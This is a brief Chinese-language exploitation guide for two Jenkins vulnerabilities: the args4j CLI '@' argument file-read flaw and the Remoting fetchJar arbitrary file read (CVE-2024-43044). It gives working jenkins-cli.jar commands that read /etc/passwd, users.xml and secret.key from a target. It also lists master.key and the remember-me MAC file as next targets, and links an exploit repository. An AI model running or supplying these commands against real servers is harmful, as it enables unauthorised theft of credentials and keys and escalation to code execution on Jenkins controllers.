Jenkins 漏洞利用

漏洞原理:

Jenkins 受影响版本中使用 args4j 库解析CLI命令参数,该库默认将参数中 @ 字符后的文件路径替换为文件内容,未授权的攻击者可利用该特性使用 Jenkins 控制器进程的默认字符编码读取 Jenkins 控制器文件系统上的任意文件(如加密密钥的二进制文件),并结合 Resource Root URL、Remember me cookie、存储型 XSS 或 CSRF 等在 Jenkins 控制器中执行任意代码。

利用条件:

  • 是否开启“匿名用户可读”选项

  • 服务端字符集是否兼容读取二进制文件

如果Jenkins系统关闭了匿名用户可读功能,大部分的cli命令也就无法调用,会出现"ERROR: anonymous is missing the Overall/Read permission"的错误:

但有2个命令例外,就是helpwho-am-i。这两个命令是无需任何权限的,所以可以用来读取文件,比如:

bash

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 help '@/etc/passwd'

成功输出了/etc/passwd/文件的第一行。不同的命令可以读取文件中不同数量的行数,在help情况下只返回一行。

bash

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/etc/passwd'

枚举Jenkins用户

text

java -jar jenkins-cli.jar -s http://192.168.207.132:8080 connect-node '@/var/jenkins_home/users/users.xml'

text

java -jar jenkins-cli.jar -s http://localhost:8080/ -http help 1 "@/var/jenkins_home/secret.key"

如果拿到Jenkins的根目录,还可以来尝试读取这些敏感文件:

text

/var/jenkins_home/users/*/config.xml
/var/jenkins_home/secret.key
/var/jenkins_home/secrets/master.key
/var/jenkins_home/secrets/org.springframework.security.web.authentication.rememberme.TokenBasedRememberMeServices.mac

漏洞原理:

Jenkins 多个受影响版本在Remoting库中存在任意文件读取漏洞,由于ClassLoaderProxy#fetchJar方法没有限制代理(agent)可以请求从控制器(controller)文件系统读取的路径,可能导致代理进程、以及拥有Agent/Connect权限的威胁者从Jenkins控制器文件系统读取任意文件(如凭证、配置文件等敏感信息)并可能进一步利用导致远程代码执行。

影响范围

Jenkins <= 2.470

Jenkins LTS <= 2.452.3

受影响组件:

Jenkins Remoting 版本<= 3256.v88a_f6e922152(3206.3208.v409508a_675ff 和3248.3250.v3277a_8e88c9b_ 除外)

bash

通过版本来判断是否存在漏洞

https://github.com/HwMex0/CVE-2024-43044

参考链接